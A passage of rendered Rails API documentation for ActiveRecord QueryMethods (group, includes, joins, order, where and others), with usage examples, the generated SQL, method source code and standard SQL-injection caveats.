+  .where("colorvalue->>'color' = ?", color)
+  .select("c.*").to_a
+# SELECT c.*
+# FROM colors c, JSONB_ARRAY_ELEMENTS(colored_things) AS colorvalues(colorvalue)
+# WHERE (colorvalue->>'color' = 'red')
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/query_methods.rb, line 1369
+    def from(value, subquery_name = nil)
+      spawn.from!(value, subquery_name)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + group(*args) + +

+ + +
+

Allows to specify a group attribute:

+ +
User.group(:name)
+# SELECT "users".* FROM "users" GROUP BY name
+
+ +

Returns an array with distinct records based on the group attribute:

+ +
User.select([:id, :name])
+# => [#<User id: 1, name: "Oscar">, #<User id: 2, name: "Oscar">, #<User id: 3, name: "Foo">]
+
+User.group(:name)
+# => [#<User id: 3, name: "Foo", ...>, #<User id: 2, name: "Oscar", ...>]
+
+User.group('name AS grouped_name, age')
+# => [#<User id: 3, name: "Foo", age: 21, ...>, #<User id: 2, name: "Oscar", age: 21, ...>, #<User id: 5, name: "Foo", age: 23, ...>]
+
+ +

Passing in an array of attributes to group by is also supported.

+ +
User.select([:id, :first_name]).group(:id, :first_name).first(3)
+# => [#<User id: 1, first_name: "Bill">, #<User id: 2, first_name: "Earl">, #<User id: 3, first_name: "Beto">]
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/query_methods.rb, line 564
+    def group(*args)
+      check_if_method_has_arguments!(__callee__, args)
+      spawn.group!(*args)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + having(opts, *rest) + +

+ + +
+

Allows to specify a HAVING clause. Note that you can’t use HAVING without also specifying a GROUP clause.

+ +
Order.having('SUM(price) > 30').group('user_id')
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/query_methods.rb, line 1175
+    def having(opts, *rest)
+      opts.blank? ? self : spawn.having!(opts, *rest)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + in_order_of(column, values) + +

+ + +
+

Applies an ORDER BY clause based on a given column, ordered and filtered by a specific set of values.

+ +
User.in_order_of(:id, [1, 5, 3])
+# SELECT "users".* FROM "users"
+#   WHERE "users"."id" IN (1, 5, 3)
+#   ORDER BY CASE
+#     WHEN "users"."id" = 1 THEN 1
+#     WHEN "users"."id" = 5 THEN 2
+#     WHEN "users"."id" = 3 THEN 3
+#   END ASC
+
+ +

column can point to an enum column; the actual query generated may be different depending on the database adapter and the column definition.

+ +
class Conversation < ActiveRecord::Base
+  enum :status, [ :active, :archived ]
+end
+
+Conversation.in_order_of(:status, [:archived, :active])
+# SELECT "conversations".* FROM "conversations"
+#   WHERE "conversations"."status" IN (1, 0)
+#   ORDER BY CASE
+#     WHEN "conversations"."status" = 1 THEN 1
+#     WHEN "conversations"."status" = 0 THEN 2
+#   END ASC
+
+ +

values can also include nil.

+ +
Conversation.in_order_of(:status, [nil, :archived, :active])
+# SELECT "conversations".* FROM "conversations"
+#   WHERE ("conversations"."status" IN (1, 0) OR "conversations"."status" IS NULL)
+#   ORDER BY CASE
+#     WHEN "conversations"."status" IS NULL THEN 1
+#     WHEN "conversations"."status" = 1 THEN 2
+#     WHEN "conversations"."status" = 0 THEN 3
+#   END ASC
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/query_methods.rb, line 699
+    def in_order_of(column, values)
+      klass.disallow_raw_sql!([column], permit: model.adapter_class.column_name_with_order_matcher)
+      return spawn.none! if values.empty?
+
+      references = column_references([column])
+      self.references_values |= references unless references.empty?
+
+      values = values.map { |value| type_caster.type_cast_for_database(column, value) }
+      arel_column = column.is_a?(Arel::Nodes::SqlLiteral) ? column : order_column(column.to_s)
+
+      where_clause =
+        if values.include?(nil)
+          arel_column.in(values.compact).or(arel_column.eq(nil))
+        else
+          arel_column.in(values)
+        end
+
+      spawn
+        .order!(build_case_for_value_position(arel_column, values))
+        .where!(where_clause)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + includes(*args) + +

+ + +
+

Specify associations args to be eager loaded to prevent N + 1 queries. A separate query is performed for each association, unless a join is required by conditions.

+ +

For example:

+ +
users = User.includes(:address).limit(5)
+users.each do |user|
+  user.address.city
+end
+
+# SELECT "users".* FROM "users" LIMIT 5
+# SELECT "addresses".* FROM "addresses" WHERE "addresses"."id" IN (1,2,3,4,5)
+
+ +

Instead of loading the 5 addresses with 5 separate queries, all addresses are loaded with a single query.

+ +

Loading the associations in a separate query will often result in a performance improvement over a simple join, as a join can result in many rows that contain redundant data and it performs poorly at scale.

+ +

You can also specify multiple associations. Each association will result in an additional query:

+ +
User.includes(:address, :friends).to_a
+# SELECT "users".* FROM "users"
+# SELECT "addresses".* FROM "addresses" WHERE "addresses"."id" IN (1,2,3,4,5)
+# SELECT "friends".* FROM "friends" WHERE "friends"."user_id" IN (1,2,3,4,5)
+
+ +

Loading nested associations is possible using a Hash:

+ +
User.includes(:address, friends: [:address, :followers])
+
+ +

Conditions

+ +

If you want to add string conditions to your included models, you’ll have to explicitly reference them. For example:

+ +
User.includes(:posts).where('posts.name = ?', 'example').to_a
+
+ +

Will throw an error, but this will work:

+ +
User.includes(:posts).where('posts.name = ?', 'example').references(:posts).to_a
+# SELECT "users"."id" AS t0_r0, ... FROM "users"
+#   LEFT OUTER JOIN "posts" ON "posts"."user_id" = "users"."id"
+#   WHERE "posts"."name" = ?  [["name", "example"]]
+
+ +

As the LEFT OUTER JOIN already contains the posts, the second query for the posts is no longer performed.

+ +

Note that includes works with association names while references needs the actual table name.

+ +

If you pass the conditions via a Hash, you don’t need to call references explicitly, as where references the tables for you. For example, this will work correctly:

+ +
User.includes(:posts).where(posts: { name: 'example' })
+
+ +

NOTE: Conditions affect both sides of an association. For example, the above code will return only users that have a post named β€œexample”, and will only include posts named β€œexample”, even when a matching user has other additional posts.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/query_methods.rb, line 247
+    def includes(*args)
+      check_if_method_has_arguments!(__callee__, args)
+      spawn.includes!(*args)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + invert_where() + +

+ + +
+

Allows you to invert an entire where clause instead of manually applying conditions.

+ +
class User
+  scope :active, -> { where(accepted: true, locked: false) }
+end
+
+User.where(accepted: true)
+# WHERE `accepted` = 1
+
+User.where(accepted: true).invert_where
+# WHERE `accepted` != 1
+
+User.active
+# WHERE `accepted` = 1 AND `locked` = 0
+
+User.active.invert_where
+# WHERE NOT (`accepted` = 1 AND `locked` = 0)
+
+ +

Be careful because this inverts all conditions before invert_where call.

+ +
class User
+  scope :active, -> { where(accepted: true, locked: false) }
+  scope :inactive, -> { active.invert_where } # Do not attempt it
+end
+
+# It also inverts `where(role: 'admin')` unexpectedly.
+User.where(role: 'admin').inactive
+# WHERE NOT (`role` = 'admin' AND `accepted` = 1 AND `locked` = 0)
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/query_methods.rb, line 1079
+    def invert_where
+      spawn.invert_where!
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + joins(*args) + +

+ + +
+

Performs JOINs on args. The given symbol(s) should match the name of the association(s).

+ +
User.joins(:posts)
+# SELECT "users".*
+# FROM "users"
+# INNER JOIN "posts" ON "posts"."user_id" = "users"."id"
+
+ +

Multiple joins:

+ +
User.joins(:posts, :account)
+# SELECT "users".*
+# FROM "users"
+# INNER JOIN "posts" ON "posts"."user_id" = "users"."id"
+# INNER JOIN "accounts" ON "accounts"."id" = "users"."account_id"
+
+ +

Nested joins:

+ +
User.joins(posts: [:comments])
+# SELECT "users".*
+# FROM "users"
+# INNER JOIN "posts" ON "posts"."user_id" = "users"."id"
+# INNER JOIN "comments" ON "comments"."post_id" = "posts"."id"
+
+ +

You can use strings in order to customize your joins:

+ +
User.joins("LEFT JOIN bookmarks ON bookmarks.bookmarkable_type = 'Post' AND bookmarks.user_id = users.id")
+# SELECT "users".* FROM "users" LEFT JOIN bookmarks ON bookmarks.bookmarkable_type = 'Post' AND bookmarks.user_id = users.id
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/query_methods.rb, line 846
+    def joins(*args)
+      check_if_method_has_arguments!(__callee__, args)
+      spawn.joins!(*args)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + left_joins(*args) + +

+ + +
+ +
+ + + + + +
+ Alias for: left_outer_joins +
+ + + + +
+ +
+

+ + left_outer_joins(*args) + +

+ + +
+

Performs LEFT OUTER JOINs on args:

+ +
User.left_outer_joins(:posts)
+# SELECT "users".* FROM "users" LEFT OUTER JOIN "posts" ON "posts"."user_id" = "users"."id"
+
+
+ + + +
+ Also aliased as: left_joins +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/query_methods.rb, line 861
+    def left_outer_joins(*args)
+      check_if_method_has_arguments!(__callee__, args)
+      spawn.left_outer_joins!(*args)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + limit(value) + +

+ + +
+

Specifies a limit for the number of records to retrieve.

+ +
User.limit(10) # generated SQL has 'LIMIT 10'
+
+User.limit(10).limit(20) # generated SQL has 'LIMIT 20'
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/query_methods.rb, line 1189
+    def limit(value)
+      spawn.limit!(value)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + lock(locks = true) + +

+ + +
+

Specifies locking settings (default to true). For more information on locking, please see ActiveRecord::Locking.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/query_methods.rb, line 1216
+    def lock(locks = true)
+      spawn.lock!(locks)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + none() + +

+ + +
+

Returns a chainable relation with zero records.

+ +

The returned relation implements the Null Object pattern. It is an object with defined null behavior and always returns an empty array of records without querying the database.

+ +

Any subsequent condition chained to the returned relation will continue generating an empty relation and will not fire any query to the database.

+ +

Used in cases where a method or scope could return zero records but the result needs to be chainable.

+ +

For example:

+ +
@posts = current_user.visible_posts.where(name: params[:name])
+# the visible_posts method is expected to return a chainable Relation
+
+def visible_posts
+  case role
+  when 'Country Manager'
+    Post.where(country: country)
+  when 'Reviewer'
+    Post.published
+  when 'Bad User'
+    Post.none # It can't be chained if [] is returned.
+  end
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/query_methods.rb, line 1259
+    def none
+      spawn.none!
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + offset(value) + +

+ + +
+

Specifies the number of rows to skip before returning rows.

+ +
User.offset(10) # generated SQL has "OFFSET 10"
+
+ +

Should be used with order.

+ +
User.offset(10).order("name ASC")
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/query_methods.rb, line 1205
+    def offset(value)
+      spawn.offset!(value)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + optimizer_hints(*args) + +

+ + +
+

Specify optimizer hints to be used in the SELECT statement.

+ +

Example (for MySQL):

+ +
Topic.optimizer_hints("MAX_EXECUTION_TIME(50000)", "NO_INDEX_MERGE(topics)")
+# SELECT /*+ MAX_EXECUTION_TIME(50000) NO_INDEX_MERGE(topics) */ `topics`.* FROM `topics`
+
+ +

Example (for PostgreSQL with pg_hint_plan):

+ +
Topic.optimizer_hints("SeqScan(topics)", "Parallel(topics 8)")
+# SELECT /*+ SeqScan(topics) Parallel(topics 8) */ "topics".* FROM "topics"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/query_methods.rb, line 1463
+    def optimizer_hints(*args)
+      check_if_method_has_arguments!(__callee__, args)
+      spawn.optimizer_hints!(*args)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + or(other) + +

+ + +
+

Returns a new relation, which is the logical union of this relation and the one passed as an argument.

+ +

The two relations must be structurally compatible: they must be scoping the same model, and they must differ only by where (if no group has been defined) or having (if a group is present).

+ +
Post.where("id = 1").or(Post.where("author_id = 3"))
+# SELECT `posts`.* FROM `posts` WHERE ((id = 1) OR (author_id = 3))
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/query_methods.rb, line 1145
+    def or(other)
+      if other.is_a?(Relation)
+        if @none
+          other.spawn
+        else
+          spawn.or!(other)
+        end
+      else
+        raise ArgumentError, "You have passed #{other.class.name} object to #or. Pass an ActiveRecord::Relation object instead."
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + order(*args) + +

+ + +
+

Applies an ORDER BY clause to a query.

+ +

order accepts arguments in one of several formats.

+ +

symbols

+ +

The symbol represents the name of the column you want to order the results by.

+ +
User.order(:name)
+# SELECT "users".* FROM "users" ORDER BY "users"."name" ASC
+
+ +

By default, the order is ascending. If you want descending order, you can map the column name symbol to :desc.

+ +
User.order(email: :desc)
+# SELECT "users".* FROM "users" ORDER BY "users"."email" DESC
+
+ +

Multiple columns can be passed this way, and they will be applied in the order specified.

+ +
User.order(:name, email: :desc)
+# SELECT "users".* FROM "users" ORDER BY "users"."name" ASC, "users"."email" DESC
+
+ +

strings

+ +

Strings are passed directly to the database, allowing you to specify simple SQL expressions.

+ +

This could be a source of SQL injection, so only strings composed of plain column names and simple function(column_name) expressions with optional ASC/DESC modifiers are allowed.

+ +
User.order('name')
+# SELECT "users".* FROM "users" ORDER BY name
+
+User.order('name DESC')
+# SELECT "users".* FROM "users" ORDER BY name DESC
+
+User.order('name DESC, email')
+# SELECT "users".* FROM "users" ORDER BY name DESC, email
+
+ +

Arel

+ +

If you need to pass in complicated expressions that you have verified are safe for the database, you can use Arel.

+ +
User.order(Arel.sql('end_date - start_date'))
+# SELECT "users".* FROM "users" ORDER BY end_date - start_date
+
+ +

Custom query syntax, like JSON columns for PostgreSQL, is supported in this way.

+ +
User.order(Arel.sql("payload->>'kind'"))
+# SELECT "users".* FROM "users" ORDER BY payload->>'kind'
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/query_methods.rb, line 647
+    def order(*args)
+      check_if_method_has_arguments!(__callee__, args) do
+        sanitize_order_arguments(args)
+      end
+      spawn.order!(*args)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + preload(*args) + +

+ + +
+

Specify associations args to be eager loaded using separate queries. A separate query is performed for each association.

+ +
users = User.preload(:address).limit(5)
+users.each do |user|
+  user.address.city
+end
+
+# SELECT "users".* FROM "users" LIMIT 5
+# SELECT "addresses".* FROM "addresses" WHERE "addresses"."id" IN (1,2,3,4,5)
+
+ +

Instead of loading the 5 addresses with 5 separate queries, all addresses are loaded with a separate query.

+ +

Loading multiple and nested associations is possible using Hashes and Arrays, similar to includes:

+ +
User.preload(:address, friends: [:address, :followers])
+# SELECT "users".* FROM "users"
+# SELECT "addresses".* FROM "addresses" WHERE "addresses"."id" IN (1,2,3,4,5)
+# SELECT "friends".* FROM "friends" WHERE "friends"."user_id" IN (1,2,3,4,5)
+# SELECT ...
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/query_methods.rb, line 315
+    def preload(*args)
+      check_if_method_has_arguments!(__callee__, args)
+      spawn.preload!(*args)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + readonly(value = true) + +

+ + +
+

Mark a relation as readonly. Attempting to update a record will result in an error.

+ +
users = User.readonly
+users.first.save
+=> ActiveRecord::ReadOnlyRecord: User is marked as readonly
+
+ +

To make a readonly relation writable, pass false.

+ +
users.readonly(false)
+users.first.save
+=> true
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/query_methods.rb, line 1287
+    def readonly(value = true)
+      spawn.readonly!(value)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + references(*table_names) + +

+ + +
+

Use to indicate that the given table_names are referenced by an SQL string, and should therefore be +JOIN+ed in any query rather than loaded separately. This method only works in conjunction with includes. See includes for more details.

+ +
User.includes(:posts).where("posts.name = 'foo'")
+# Doesn't JOIN the posts table, resulting in an error.
+
+User.includes(:posts).where("posts.name = 'foo'").references(:posts)
+# Query now knows the string references posts, so adds a JOIN
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/query_methods.rb, line 348
+    def references(*table_names)
+      check_if_method_has_arguments!(__callee__, table_names)
+      spawn.references!(*table_names)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + regroup(*args) + +

+ + +
+

Allows you to change a previously set group statement.

+ +
Post.group(:title, :body)
+# SELECT `posts`.`*` FROM `posts` GROUP BY `posts`.`title`, `posts`.`body`
+
+Post.group(:title, :body).regroup(:title)
+# SELECT `posts`.`*` FROM `posts` GROUP BY `posts`.`title`
+
+ +

This is short-hand for unscope(:group).group(fields). Note that we’re unscoping the entire group statement.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/query_methods.rb, line 584
+    def regroup(*args)
+      check_if_method_has_arguments!(__callee__, args)
+      spawn.regroup!(*args)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + reorder(*args) + +

+ + +
+

Replaces any existing order defined on the relation with the specified order.

+ +
User.order('email DESC').reorder('id ASC') # generated SQL has 'ORDER BY id ASC'
+
+ +

Subsequent calls to order on the same relation will be appended. For example:

+ +
User.order('email DESC').reorder('id ASC').order('name ASC')
+
+ +

generates a query with ORDER BY id ASC, name ASC.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/query_methods.rb, line 730
+    def reorder(*args)
+      check_if_method_has_arguments!(__callee__, args) do
+        sanitize_order_arguments(args)
+      end
+      spawn.reorder!(*args)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + reselect(*args) + +

+ + +
+

Allows you to change a previously set select statement.

+ +
Post.select(:title, :body)
+# SELECT `posts`.`title`, `posts`.`body` FROM `posts`
+
+Post.select(:title, :body).reselect(:created_at)
+# SELECT `posts`.`created_at` FROM `posts`
+
+ +

This is short-hand for unscope(:select).select(fields). Note that we’re unscoping the entire select statement.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/query_methods.rb, line 532
+    def reselect(*args)
+      check_if_method_has_arguments!(__callee__, args)
+      args = process_select_args(args)
+      spawn.reselect!(*args)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + reverse_order() + +

+ + +
+

Reverse the existing order clause on the relation.

+ +
User.order('name ASC').reverse_order # generated SQL has 'ORDER BY name DESC'
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/query_methods.rb, line 1476
+    def reverse_order
+      spawn.reverse_order!
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + rewhere(conditions) + +

+ + +
+

Allows you to change a previously set where condition for a given attribute, instead of appending to that condition.

+ +
Post.where(trashed: true).where(trashed: false)
+# WHERE `trashed` = 1 AND `trashed` = 0
+
+Post.where(trashed: true).rewhere(trashed: false)
+# WHERE `trashed` = 0
+
+Post.where(active: true).where(trashed: true).rewhere(trashed: false)
+# WHERE `active` = 1 AND `trashed` = 0
+
+ +

This is short-hand for unscope(where: conditions.keys).where(conditions). Note that unlike reorder, we’re only unscoping the named conditions – not the entire where statement.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/query_methods.rb, line 1039
+    def rewhere(conditions)
+      return unscope(:where) if conditions.nil?
+
+      scope = spawn
+      where_clause = scope.build_where_clause(conditions)
+
+      scope.unscope!(where: where_clause.extract_attributes)
+      scope.where_clause += where_clause
+      scope
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + select(*fields) + +

+ + +
+

Works in two unique ways.

+ +

First: takes a block so it can be used just like Array#select.

+ +
Model.all.select { |m| m.field == value }
+
+ +

This will build an array of objects from the database for the scope, converting them into an array and iterating through them using Array#select.

+ +

Second: Modifies the SELECT statement for the query so that only certain fields are retrieved:

+ +
Model.select(:field)
+# => [#<Model id: nil, field: "value">]
+
+ +

Although in the above example it looks as though this method returns an array, it actually returns a relation object and can have other query methods appended to it, such as the other methods in ActiveRecord::QueryMethods.

+ +

The argument to the method can also be an array of fields.

+ +
Model.select(:field, :other_field, :and_one_more)
+# => [#<Model id: nil, field: "value", other_field: "value", and_one_more: "value">]
+
+ +

The argument also can be a hash of fields and aliases.

+ +
Model.select(models: { field: :alias, other_field: :other_alias })
+# => [#<Model id: nil, alias: "value", other_alias: "value">]
+
+Model.select(models: [:field, :other_field])
+# => [#<Model id: nil, field: "value", other_field: "value">]
+
+ +

You can also use one or more strings, which will be used unchanged as SELECT fields.

+ +
Model.select('field AS field_one', 'other_field AS field_two')
+# => [#<Model id: nil, field_one: "value", field_two: "value">]
+
+ +

If an alias was specified, it will be accessible from the resulting objects:

+ +
Model.select('field AS field_one').first.field_one
+# => "value"
+
+ +

Accessing attributes of an object that do not have fields retrieved by a select except id will throw ActiveModel::MissingAttributeError:

+ +
Model.select(:field).first.other_field
+# => ActiveModel::MissingAttributeError: missing attribute 'other_field' for Model
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/query_methods.rb, line 406
+    def select(*fields)
+      if block_given?
+        if fields.any?
+          raise ArgumentError, "`select' with block doesn't take arguments."
+        end
+
+        return super()
+      end
+
+      check_if_method_has_arguments!(__callee__, fields, "Call `select' with at least one field.")
+
+      fields = process_select_args(fields)
+      spawn._select!(*fields)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + strict_loading(value = true) + +

+ + +
+

Sets the returned relation to strict_loading mode. This will raise an error if the record tries to lazily load an association.

+ +
user = User.strict_loading.first
+user.comments.to_a
+=> ActiveRecord::StrictLoadingViolationError
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/query_methods.rb, line 1302
+    def strict_loading(value = true)
+      spawn.strict_loading!(value)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + structurally_compatible?(other) + +

+ + +
+

Checks whether the given relation is structurally compatible with this relation, to determine if it’s possible to use the and and or methods without raising an error. Structurally compatible is defined as: they must be scoping the same model, and they must differ only by where (if no group has been defined) or having (if a group is present).

+ +
Post.where("id = 1").structurally_compatible?(Post.where("author_id = 3"))
+# => true
+
+Post.joins(:comments).structurally_compatible?(Post.where("id = 1"))
+# => false
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/query_methods.rb, line 1099
+    def structurally_compatible?(other)
+      structurally_incompatible_values_for(other).empty?
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + uniq!(name) + +

+ + +
+

Deduplicate multiple values.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/query_methods.rb, line 1519
+    def uniq!(name)
+      if values = @values[name]
+        values.uniq! if values.is_a?(Array) && !values.empty?
+      end
+      self
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + unscope(*args) + +

+ + +
+

Removes an unwanted relation that is already defined on a chain of relations. This is useful when passing around chains of relations and would like to modify the relations without reconstructing the entire chain.

+ +
User.order('email DESC').unscope(:order) == User.all
+
+ +

The method arguments are symbols which correspond to the names of the methods which should be unscoped. The valid arguments are given in VALID_UNSCOPING_VALUES. The method can also be called with multiple arguments. For example:

+ +
User.order('email DESC').select('id').where(name: "John")
+    .unscope(:order, :select, :where) == User.all
+
+ +

One can additionally pass a hash as an argument to unscope specific :where values. This is done by passing a hash with a single key-value pair. The key should be :where and the value should be the where value to unscope. For example:

+ +
User.where(name: "John", active: true).unscope(where: :name)
+    == User.where(active: true)
+
+ +

This method is similar to except, but unlike except, it persists across merges:

+ +
User.order('email').merge(User.except(:order))
+    == User.order('email')
+
+User.order('email').merge(User.unscope(:order))
+    == User.all
+
+ +

This means it can be used in association definitions:

+ +
has_many :comments, -> { unscope(where: :trashed) }
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/query_methods.rb, line 784
+    def unscope(*args)
+      check_if_method_has_arguments!(__callee__, args)
+      spawn.unscope!(*args)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + where(*args) + +

+ + +
+

Returns a new relation, which is the result of filtering the current relation according to the conditions in the arguments.

+ +

where accepts conditions in one of several formats. In the examples below, the resulting SQL is given as an illustration; the actual query generated may be different depending on the database adapter.

+ +

String

+ +

A single string, without additional arguments, is passed to the query constructor as an SQL fragment, and used in the where clause of the query.

+ +
Client.where("orders_count = '2'")
+# SELECT * from clients where orders_count = '2';
+
+ +

Note that building your own string from user input may expose your application to injection attacks if not done properly. As an alternative, it is recommended to use one of the following methods.

+ +

Array

+ +

If an array is passed, then the first element of the array is treated as a template, and the remaining elements are inserted into the template to generate the condition. Active Record takes care of building the query to avoid injection attacks, and will convert from the ruby type to the database type where needed. Elements are inserted into the string in the order in which they appear.

+ +
User.where(["name = ? and email = ?", "Joe", "joe@example.com"])
+# SELECT * FROM users WHERE name = 'Joe' AND email = 'joe@example.com';
+
+ +

Alternatively, you can use named placeholders in the template, and pass a hash as the second element of the array. The names in the template are replaced with the corresponding values from the hash.

+ +
User.where(["name = :name and email = :email", { name: "Joe", email: "joe@example.com" }])
+# SELECT * FROM users WHERE name = 'Joe' AND email = 'joe@example.com';
+
+ +

This can make for more readable code in complex queries.

+ +

Lastly, you can use sprintf-style % escapes in the template. This works slightly differently than the previous methods; you are responsible for ensuring that the values in the template are properly quoted. The values are passed to the connector for quoting, but the caller is responsible for ensuring they are enclosed in quotes in the resulting SQL. After quoting, the values are inserted using the same escapes as the Ruby core method Kernel::sprintf.

+ +
User.where(["name = '%s' and email = '%s'", "Joe", "joe@example.com"])
+# SELECT * FROM users WHERE name = 'Joe' AND email = 'joe@example.com';
+
+ +

If where is called with multiple arguments, these are treated as if they were passed as the elements of a single array.

+ +
User.where("name = :name and email = :email", { name: "Joe", email: "joe@example.com" })
+# SELECT * FROM users WHERE name = 'Joe' AND email = 'joe@example.com';
+
+ +

When using strings to specify conditions, you can use any operator available from the database. While this provides the most flexibility, you can also unintentionally introduce dependencies on the underlying database. If your code is intended for general consumption, test with multiple database backends.

+ +

Hash

+ +

where will also accept a hash condition, in which the keys are fields and the values are values to be searched for.

+ +

Fields can be symbols or strings. Values can be single values, arrays, or ranges.

+ +
User.where(name: "Joe", email: "joe@example.com")
+# SELECT * FROM users WHERE name = 'Joe' AND email = 'joe@example.com'
+
+User.where(name: ["Alice", "Bob"])
+# SELECT * FROM users WHERE name IN ('Alice', 'Bob')
+
+User.where(created_at: (Time.now.midnight - 1.day)..Time.now.midnight)
+# SELECT * FROM users WHERE (created_at BETWEEN '2012-06-09 07:00:00.000000' AND '2012-06-10 07:00:00.000000')
+
+ +

In the case of a belongs_to relationship, an association key can be used to specify the model if an ActiveRecord object is used as the value.

+ +
author = Author.find(1)
+
+# The following queries will be equivalent:
+Post.where(author: author)
+Post.where(author_id: author)
+
+ +

This also works with polymorphic belongs_to relationships:

+ +
treasure = Treasure.create(name: 'gold coins')
+treasure.price_estimates << PriceEstimate.create(price: 125)
+
+# The following queries will be equivalent:
+PriceEstimate.where(estimate_of: treasure)
+PriceEstimate.where(estimate_of_type: 'Treasure', estimate_of_id: treasure)
+
+ +

Hash conditions may also be specified in a tuple-like syntax. Hash keys may be an array of columns with an array of tuples as values.

+ +
Article.where([:author_id, :id] => [[15, 1], [15, 2]])
+# SELECT * FROM articles WHERE author_id = 15 AND id = 1 OR author_id = 15 AND id = 2
+
+ +

Joins

+ +

If the relation is the result of a join, you may create a condition which uses any of the tables in the join. For string and array conditions, use the table name in the condition.

+ +
User.joins(:posts).where("posts.created_at < ?", Time.now)
+
+ +

For hash conditions, you can either use the table name in the key, or use a sub-hash.

+ +
User.joins(:posts).where("posts.published" => true)
+User.joins(:posts).where(posts: { published: true })
+
+ +

No Argument

+ +

If no argument is passed, where returns a new instance of WhereChain, that can be chained with WhereChain#not, WhereChain#missing, or WhereChain#associated.

+ +

Chaining with WhereChain#not:

+ +
User.where.not(name: "Jon")
+# SELECT * FROM users WHERE name != 'Jon'
+
+ +

Chaining with WhereChain#associated:

+ +
Post.where.associated(:author)
+# SELECT "posts".* FROM "posts"
+# INNER JOIN "authors" ON "authors"."id" = "posts"."author_id"
+# WHERE "authors"."id" IS NOT NULL
+
+ +

Chaining with WhereChain#missing:

+ +
Post.where.missing(:author)
+# SELECT "posts".* FROM "posts"
+# LEFT OUTER JOIN "authors" ON "authors"."id" = "posts"."author_id"
+# WHERE "authors"."id" IS NULL
+
+ +

Blank Condition

+ +

If the condition is any blank-ish object, then where is a no-op and returns the current relation.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/query_methods.rb, line 1011
+    def where(*args)
+      if args.empty?
+        WhereChain.new(spawn)
+      elsif args.length == 1 && args.first.blank?
+        self
+      else
+        spawn.where!(*args)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + with(*args) + +

+ + +
+

Add a Common Table Expression (CTE) that you can then reference within another SELECT statement.

+ +

Note: CTE’s are only supported in MySQL for versions 8.0 and above. You will not be able to use CTE’s with MySQL 5.7.

+ +
